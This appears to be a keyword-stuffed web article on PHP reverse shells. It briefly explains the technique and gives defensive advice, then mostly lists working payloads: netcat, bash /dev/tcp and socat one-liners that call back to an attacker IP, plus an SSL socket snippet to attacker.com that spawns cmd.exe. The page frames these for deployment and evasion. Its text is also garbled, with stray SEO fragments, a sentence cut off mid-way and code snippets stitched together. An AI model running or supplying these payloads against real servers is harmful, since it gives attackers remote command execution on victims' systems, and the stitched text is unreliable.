A PHP reverse shell is a script used during penetration testing to gain remote command-line access to a target server. When a web application allows a user to upload or execute PHP code, an attacker can trigger a reverse shell to force the server to initiate an outgoing connection to their own machine. This method is often preferred over a "bind shell" because outgoing connections are less likely to be blocked by firewalls.
The most common way to implement a PHP reverse shell is by using the fsockopen function. This function establishes a network connection to a specific IP address and port where the attacker is listening. Once the connection is successful, the script redirects the server’s standard input, output, and error streams to the network socket. This allows the attacker to type commands into their local terminal and see the results executed on the remote server in real-time.
To use a reverse shell, the practitioner first sets up a listener on their local machine. A common tool for this is Netcat, using a command like nc -lvnp 4444. This command tells the local machine to wait for an incoming connection on port 4444. Once the listener is active, the PHP script is executed on the target web server. The server then reaches out to the attacker's IP, completing the "reverse" connection and providing a shell prompt. reverse shell php top
From a defensive perspective, protecting against PHP reverse shells requires a multi-layered approach. System administrators should disable dangerous PHP functions such as exec, shell_exec, system, and passthru in the php.ini configuration file. Additionally, implementing strict file upload validations and using a Web Application Firewall (WAF) can prevent the initial injection of the malicious script. Finally, configuring outbound firewall rules to block unexpected connections from the web server can stop a reverse shell even if the script is successfully executed.
Finding the keyword is one thing; deploying it is another. You need to get the PHP code onto the server. A PHP reverse shell is a script used
Sometimes, for simplicity and evasion, a one-liner is used:
<?php exec("nc your_attacker_ip_address 4444 -e /bin/sh"); ?>
When you have limited character space (e.g., SQL injection into a SELECT INTO OUTFILE or a vulnerable eval()), a one-liner is king. Part 3: How to Deploy Your PHP Reverse
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");?>
Note: This uses /dev/tcp, which works on Linux systems with bash compiled with net-redirections. Does not work on Windows or some slim containers.
Alternative One-Liner (More portable):
<?php system("socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444");?>
Using stream_socket_client() with SSL:
$context = stream_context_create(['ssl' => ['verify_peer' => false]]);
$sock = stream_socket_client('ssl://attacker.com:443', $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context);
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
proc_open('cmd.exe', $descriptorspec, $pipes);